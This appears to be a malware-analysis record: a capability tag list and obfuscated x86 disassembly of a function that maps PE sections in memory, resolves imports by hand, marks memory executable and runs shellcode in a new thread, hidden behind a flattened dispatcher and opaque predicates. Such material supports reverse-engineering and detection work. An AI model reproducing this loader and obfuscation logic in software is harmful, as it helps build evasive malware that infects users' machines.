Function at 0x40ef00
Capabilities:
Allocate or change rwx memory
Check os version
Create thread
Get number of processors
Inspect section memory permissions
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x18c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x190], eax
mov eax, dword [0x52d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
sub edx, 0x3e3bfd1d
sub edx, 1
add edx, 0x3e3bfd1d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x182], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x181], al
mov dword [ebp - 0x188], 0xad13f3e2
mov eax, dword [ebp - 0x188]
mov dword [ebp - 0x194], eax
sub eax, 0x822cb68e
je 0x410c66
jmp 0x40ef84
mov eax, dword [ebp - 0x194]
sub eax, 0x8497eb4b
je 0x411167
jmp 0x40ef9a
mov eax, dword [ebp - 0x194]
sub eax, 0x851ede77
je 0x411b50
jmp 0x40efb0
mov eax, dword [ebp - 0x194]
sub eax, 0x854df318
je 0x410747
jmp 0x40efc6
mov eax, dword [ebp - 0x194]
sub eax, 0x857e0790
je 0x4117f9
jmp 0x40efdc
mov eax, dword [ebp - 0x194]
sub eax, 0x85d0f5c1
je 0x412964
jmp 0x40eff2
mov eax, dword [ebp - 0x194]
sub eax, 0x85d9d4a5
je 0x4126ac
jmp 0x40f008
mov eax, dword [ebp - 0x194]
sub eax, 0x86a081ee
je 0x412a6d
jmp 0x40f01e
mov eax, dword [ebp - 0x194]
sub eax, 0x86b59939
je 0x411bc8
jmp 0x40f034
mov eax, dword [ebp - 0x194]
sub eax, 0x88d46695
je 0x41151b
jmp 0x40f04a
mov eax, dword [ebp - 0x194]
sub eax, 0x8a41563e
je 0x4114d0
jmp 0x40f060
mov eax, dword [ebp - 0x194]
sub eax, 0x8c1dd454
je 0x411eae
jmp 0x40f076
mov eax, dword [ebp - 0x194]
sub eax, 0x8e0e1bb4
je 0x4119d3
jmp 0x40f08c
mov eax, dword [ebp - 0x194]
sub eax, 0x8fa55164
je 0x41191d
jmp 0x40f0a2
mov eax, dword [ebp - 0x194]
sub eax, 0x8fe34ac6
je 0x411f3c
jmp 0x40f0b8
mov eax, dword [ebp - 0x194]
sub eax, 0x902cb50d
je 0x411b41
jmp 0x40f0ce
mov eax, dword [ebp - 0x194]
sub eax, 0x95094a42
je 0x412280
jmp 0x40f0e4
mov eax, dword [ebp - 0x194]
sub eax, 0x960f4fc4
je 0x410f1a
jmp 0x40f0fa
mov eax, dword [ebp - 0x194]
sub eax, 0x972a4100
je 0x41294f
jmp 0x40f110
mov eax, dword [ebp - 0x194]
sub eax, 0x977ce53f
je 0x410344
jmp 0x40f126
mov eax, dword [ebp - 0x194]
sub eax, 0x97cd3dae
je 0x41050d
jmp 0x40f13c
mov eax, dword [ebp - 0x194]
sub eax, 0x98e6d766
je 0x410212
jmp 0x40f152
mov eax, dword [ebp - 0x194]
sub eax, 0x98ea3e80
je 0x41130a
jmp 0x40f168
mov eax, dword [ebp - 0x194]
sub eax, 0x9d480525
je 0x4117a6
jmp 0x40f17e
mov eax, dword [ebp - 0x194]
sub eax, 0x9d6466dc
je 0x41259a
jmp 0x40f194
mov eax, dword [ebp - 0x194]
sub eax, 0xa0536649
je 0x412211
jmp 0x40f1aa
mov eax, dword [ebp - 0x194]
sub eax, 0xa248f514
je 0x41133a
jmp 0x40f1c0
mov eax, dword [ebp - 0x194]
sub eax, 0xa38c87b5
je 0x4119f1
jmp 0x40f1d6
mov eax, dword [ebp - 0x194]
sub eax, 0xa4ea7387
je 0x410e62
jmp 0x40f1ec
mov eax, dword [ebp - 0x194]
sub eax, 0xa6416a85
je 0x4129e9
jmp 0x40f202
mov eax, dword [ebp - 0x194]
sub eax, 0xa71f4409
je 0x411844
jmp 0x40f218
mov eax, dword [ebp - 0x194]
sub eax, 0xa87eabf8
je 0x411433
jmp 0x40f22e
mov eax, dword [ebp - 0x194]
sub eax, 0xa9a5e331
je 0x412202
jmp 0x40f244
mov eax, dword [ebp - 0x194]
sub eax, 0xa9aff545
je 0x411a1c
jmp 0x40f25a
mov eax, dword [ebp - 0x194]
sub eax, 0xaa30a978
je 0x410d72
jmp 0x40f270
mov eax, dword [ebp - 0x194]
sub eax, 0xaa3f8af5
je 0x4106a3
jmp 0x40f286
mov eax, dword [ebp - 0x194]
sub eax, 0xaac7e1cd
je 0x410bf4
jmp 0x40f29c
mov eax, dword [ebp - 0x194]
sub eax, 0xaadfef02
je 0x410d04
jmp 0x40f2b2
mov eax, dword [ebp - 0x194]
sub eax, 0xab0830cb
je 0x412754
jmp 0x40f2c8
mov eax, dword [ebp - 0x194]
sub eax, 0xab415294
je 0x411df2
jmp 0x40f2de
mov eax, dword [ebp - 0x194]
sub eax, 0xaba6b64f
je 0x410038
jmp 0x40f2f4
mov eax, dword [ebp - 0x194]
sub eax, 0xacc0384c
je 0x411ff9
jmp 0x40f30a
mov eax, dword [ebp - 0x194]
sub eax, 0xad13f3e2
je 0x40ff59
jmp 0x40f320
mov eax, dword [ebp - 0x194]
sub eax, 0xb08e07a6
je 0x41104f
jmp 0x40f336
mov eax, dword [ebp - 0x194]
sub eax, 0xb1cf3c0f
je 0x410f29
jmp 0x40f34c
mov eax, dword [ebp - 0x194]
sub eax, 0xb2c1e084
je 0x410b52
jmp 0x40f362
mov eax, dword [ebp - 0x194]
sub eax, 0xb557fae1
je 0x410b61
jmp 0x40f378
mov eax, dword [ebp - 0x194]
sub eax, 0xb8fa55cd
je 0x410790
jmp 0x40f38e
mov eax, dword [ebp - 0x194]
sub eax, 0xbbca4b8d
je 0x411a3a
jmp 0x40f3a4
mov eax, dword [ebp - 0x194]
sub eax, 0xbeab1b1a
je 0x412051
jmp 0x40f3ba
mov eax, dword [ebp - 0x194]
sub eax, 0xc056162d
je 0x41084f
jmp 0x40f3d0
mov eax, dword [ebp - 0x194]
sub eax, 0xc2d52497
je 0x4118cc
jmp 0x40f3e6
mov eax, dword [ebp - 0x194]
sub eax, 0xc2fd01dc
je 0x4127e4
jmp 0x40f3fc
mov eax, dword [ebp - 0x194]
sub eax, 0xc64438a3
je 0x412a8b
jmp 0x40f412
mov eax, dword [ebp - 0x194]
sub eax, 0xc6fe97cf
je 0x410f55
jmp 0x40f428
mov eax, dword [ebp - 0x194]
sub eax, 0xc7a3aeca
je 0x41105e
jmp 0x40f43e
mov eax, dword [ebp - 0x194]
sub eax, 0xc9ee4600
je 0x4112fb
jmp 0x40f454
mov eax, dword [ebp - 0x194]
sub eax, 0xcb5e762b
je 0x4103fe
jmp 0x40f46a
mov eax, dword [ebp - 0x194]
sub eax, 0xccad2df2
je 0x41052d
jmp 0x40f480
mov eax, dword [ebp - 0x194]
sub eax, 0xcd1d5b3c
je 0x410bc9
jmp 0x40f496
mov eax, dword [ebp - 0x194]
sub eax, 0xd0244347
je 0x411679
jmp 0x40f4ac
mov eax, dword [ebp - 0x194]
sub eax, 0xd06b82a2
je 0x41126f
jmp 0x40f4c2
mov eax, dword [ebp - 0x194]
sub eax, 0xd0dc641b
je 0x4126d3
jmp 0x40f4d8
mov eax, dword [ebp - 0x194]
sub eax, 0xd6930a3a
je 0x412494
jmp 0x40f4ee
mov eax, dword [ebp - 0x194]
sub eax, 0xd79a69c7
je 0x4111b2
mov bl, byte [ebp - 0x182]
mov dh, byte [ebp - 0x181]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xab0830cb
mov ecx, 0x49beb299
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0x1c273d53
jmp 0x412afb
mov eax, dword [ebp - 0x180]
mov dword [eax], 1
mov dword [ebp - 0x188], 0x7eb40d6
jmp 0x412afb
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x168]
cmp dword [eax + 4], 0
setne al
and al, 1
mov byte [ebp - 0xdd], al
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
add edx, 0x7dc76496
sub edx, 1
sub edx, 0x7dc76496
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x50dbe466
mov ecx, 0x4e27f635
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0xf679649
mov dword [ebp - 0x18c], 0
jmp 0x412afb
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0x188], 0xccad2df2
jmp 0x412afb
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
sub edx, 0x1e9c5f0f
sub edx, 1
add edx, 0x1e9c5f0f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x1af0f509
mov ecx, 0x66f58be9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x174]
mov ecx, dword [eax]
xor eax, eax
sub eax, 0x18
sub ecx, eax
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, 0xea788362
add ecx, eax
sub ecx, 0xea788362
mov eax, dword [ebp - 0x15c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x158]
mov dword [eax], 0
mov dword [ebp - 0x188], 0xf8b45f04
jmp 0x412afb
mov eax, dword [0x52e544]
mov ecx, dword [0x52e540]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6eaf5279
mov ecx, 0xb8fa55cd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
mov eax, dword [0x52e544]
mov ecx, dword [0x52e540]
mov edx, eax
add edx, 0x59288a7e
sub edx, 1
sub edx, 0x59288a7e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6eaf5279
mov ecx, 0x3149ce32
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov ecx, dword [ebp - 0xc0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x158]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0x14]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x158]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d9a0
add esp, 0xc
mov eax, dword [0x52e544]
mov ecx, dword [0x52e540]
mov edx, eax
sub edx, 0x7bfe15ef
sub edx, 1
add edx, 0x7bfe15ef
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xc2fd01dc
mov ecx, 0x73d630f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0xb557fae1
jmp 0x412afb
mov eax, dword [ebp - 0x174]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
mov ecx, dword [ebp - 0xac]
sub ecx, 0x25b638f7
sub ecx, eax
add ecx, 0x25b638f7
mov eax, dword [ebp - 0x154]
mov dword [eax], ecx
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x168]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x150]
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov dword [eax], 0
mov dword [ebp - 0x188], 0xcd1d5b3c
jmp 0x412afb
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x168]
cmp eax, dword [ecx + 4]
setb al
and al, 1
mov byte [ebp - 0xa5], al
mov dword [ebp - 0x188], 0xaac7e1cd
jmp 0x412afb
mov dl, byte [ebp - 0xa5]
mov eax, 0x72b2fcf0
mov ecx, 0xdb8c7adf
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
sub edx, 0x1d49fab8
sub edx, 1
add edx, 0x1d49fab8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe106e12a
mov ecx, 0xaadfef02
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0x6e39acba
jmp 0x412afb
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0x188], 0x7ce858d6
jmp 0x412afb
mov eax, dword [ebp - 0x154]
mov esi, dword [eax]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x140]
mov ecx, dword [ecx]
movzx edx, word [ecx]
mov edi, 0xffffffff
xor edi, 0xfff
mov ecx, edx
xor ecx, edi
and ecx, edx
add eax, 0xa33c54fb
add eax, ecx
sub eax, 0xa33c54fb
mov ecx, dword [eax]
xor edx, edx
sub edx, ecx
xor ecx, ecx
sub ecx, esi
add edx, ecx
xor ecx, ecx
sub ecx, edx
mov dword [eax], ecx
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x432d85a3
mov ecx, 0x960f4fc4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0xb1cf3c0f
jmp 0x412afb
mov dword [ebp - 0x188], 0x33a7387c
jmp 0x412afb
mov ecx, dword [ebp - 0x9c]
add ecx, 2
mov eax, dword [ebp - 0x140]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x7cf3405a
jmp 0x412afb
mov dword [ebp - 0x188], 0xc7a3aeca
jmp 0x412afb
mov eax, dword [ebp - 0x13c]
mov ecx, dword [ebp - 0x98]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0xaa30a978
jmp 0x412afb
mov dword [ebp - 0x188], 0x5589d847
jmp 0x412afb
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov edx, dword [ebp - 0x134]
imul edx, dword [edx], 0x14
add eax, edx
mov eax, dword [eax + 0xc]
sub ecx, 0xccf69448
add ecx, eax
add ecx, 0xccf69448
mov eax, dword [ebp - 0x130]
mov dword [eax], ecx
mov eax, dword [ebp - 0x130]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0x188], 0xebc58dd9
jmp 0x412afb
mov dword [ebp - 0x188], 0xf15bcc1b
jmp 0x412afb
mov eax, dword [ebp - 0x164]
mov eax, dword [eax]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x138]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x134]
imul ecx, dword [ecx], 0x14
add eax, ecx
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x188], 0xa248f514
jmp 0x412afb
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
add edx, 0xd9358dcd
sub edx, 1
sub edx, 0xd9358dcd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2d72ab35
mov ecx, 0x3af802f3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x128]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x124]
mov ecx, dword [ecx]
shl ecx, 2
add eax, ecx
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x188], 0x2f0e5a62
jmp 0x412afb
mov eax, dword [ebp - 0x74]
mov eax, dword [eax]
movzx eax, ax
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, eax
mov eax, dword [ebp - 0x11c]
mov dword [eax], ecx
mov edx, dword [ebp - 0x11c]
mov eax, 0x88d46695
mov ecx, 0x7271925c
cmp dword [edx], 0
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
add eax, 2
mov ecx, dword [ebp - 0x12c]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x188], 0x64a6e682
jmp 0x412afb
mov eax, dword [ebp - 0x124]
mov ecx, dword [eax]
add ecx, 0x2268dfe7
add ecx, 1
sub ecx, 0x2268dfe7
mov eax, dword [ebp - 0x124]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x710c224a
jmp 0x412afb
mov ecx, dword [ebp - 0x60]
add ecx, 0x5c45c4cf
add ecx, 1
sub ecx, 0x5c45c4cf
mov eax, dword [ebp - 0x134]
mov dword [eax], ecx
mov dword [ebp - 0x188], 0x17094c3d
jmp 0x412afb
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x174]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x59], al
mov dword [ebp - 0x188], 0x252d2374
jmp 0x412afb
mov eax, dword [ebp - 0x110]
mov dword [eax], 0x40
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x114]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x24
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x188], 0x3bc292d
jmp 0x412afb
mov eax, dword [0x52e544]
mov ecx, dword [0x52e540]
mov edx, eax
add edx, 0xdfc5632e
sub edx, 1
sub edx, 0xdfc5632e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x65e7904c
mov ecx, 0x8fa55164
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x80000000
mov ecx, 0xffffffff
xor ecx, 0x36b11930
or eax, edx
or ecx, 0x36b11930
xor eax, 0xffffffff
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x51], al
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x65e7904c
mov ecx, 0x726c7ae
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dl, byte [ebp - 0x51]
mov eax, 0x851ede77
mov ecx, 0xa38c87b5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x10c]
mov ecx, dword [eax]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x188], 0xa9aff545
jmp 0x412afb
mov edx, dword [ebp - 0x50]
mov eax, 0x851ede77
mov ecx, 0xbbca4b8d
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov ecx, dword [0x52e544]
mov eax, dword [0x52e540]
mov edx, ecx
sub edx, 0x82b28436
sub edx, 1
add edx, 0x82b28436
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x43abf031
mov ecx, 0xec876f3e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0x22e075f5
jmp 0x412afb
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0x40000000
mov ecx, 0xffffffff
xor ecx, 0xf6676ee5
or eax, edx
or ecx, 0xf6676ee5
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x188], 0x7bc257ea
jmp 0x412afb
mov edx, dword [ebp - 0x48]
xor edx, 0xffffffff
mov ecx, 0xffffffff
xor ecx, 0x80000000
mov eax, 0xffffffff
xor eax, 0x6236162a
or edx, ecx
or eax, 0x6236162a
xor edx, 0xffffffff
and edx, eax
mov eax, 0x7deafc78
mov ecx, 0x74484838
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0x5f1a5fda
jmp 0x412afb
mov ecx, dword [ebp - 0x40]
mov edx, 0xffffffff
xor edx, 0x20000000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x39], al
mov eax, dword [0x52e544]
mov ecx, dword [0x52e540]
mov edx, eax
sub edx, 0xa301ce34
sub edx, 1
add edx, 0xa301ce34
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x73126c2
mov ecx, 0x2c721f70
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov eax, dword [ebp - 0x110]
mov dword [eax], 0x20
mov dword [ebp - 0x188], 0x64840850
jmp 0x412afb
mov dword [ebp - 0x188], 0xff91e186
jmp 0x412afb
mov eax, dword [ebp - 0x110]
mov dword [eax], 2
mov dword [ebp - 0x188], 0x6d27b61a
jmp 0x412afb
mov dword [ebp - 0x188], 0xa0536649
jmp 0x412afb
mov eax, dword [ebp - 0x114]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x30]
imul ecx, ecx, 0x28
add eax, ecx
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x164]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x114]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, esi
add eax, ecx
xor esi, esi
sub esi, eax
mov eax, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x34]
sub esp, 0x10
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [ebp - 0x188], 0x95094a42
jmp 0x412afb
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x188], 0xda998bd9
jmp 0x412afb
mov dl, byte [ebp - 0x21]
mov eax, 0x63c9dc63
mov ecx, 0x1d6808a4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x188], eax
jmp 0x412afb
mov dword [ebp - 0x188], 0xf5b15719
jmp 0x412afb
mov eax, dword [ebp - 0xfc]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf0]
mov edx, dword [ecx]
mov dword [eax], edx
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [ebp - 0x188], 0xd0dc641b
jmp 0x412afb
mov eax, dword [ebp - 0xec]
mov eax, dword [eax]
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0xffffffff
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x188], 0x692b484b
jmp 0x412afb
mov dword [ebp - 0x188], 0x49beb299
jmp 0x412afb
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x158]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xc0]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x17c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x158]
imul esi, dword [esi], 0x28
add eax, esi
mov esi, dword [eax + 0x14]
xor eax, eax
sub eax, esi
sub ecx, eax
mov eax, dword [ebp - 0x15c]
mov eax, dword [eax]
mov esi, dword [ebp - 0x158]
imul esi, dword [esi], 0x28
add eax, esi
mov eax, dword [eax + 0x10]
sub esp, 0xc
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call fcn.0041d9a0
add esp, 0xc
mov dword [ebp - 0x188], 0xc056162d
jmp 0x412afb
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0x188], 0x44c4e615
jmp 0x412afb
mov eax, dword [ebp - 0x150]
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x188], 0x60e4f97e
jmp 0x412afb
mov dword [ebp - 0x188], 0xf0dedd4a
jmp 0x412afb
mov dword [ebp - 0x188], 0x7a496447
jmp 0x412afb
mov eax, dword [ebp - 0x110]
mov eax, dword [ebp - 0x15c]
mov dword [ebp - 0x188], 0x7a0fe259
jmp 0x412afb
jmp 0x40ef68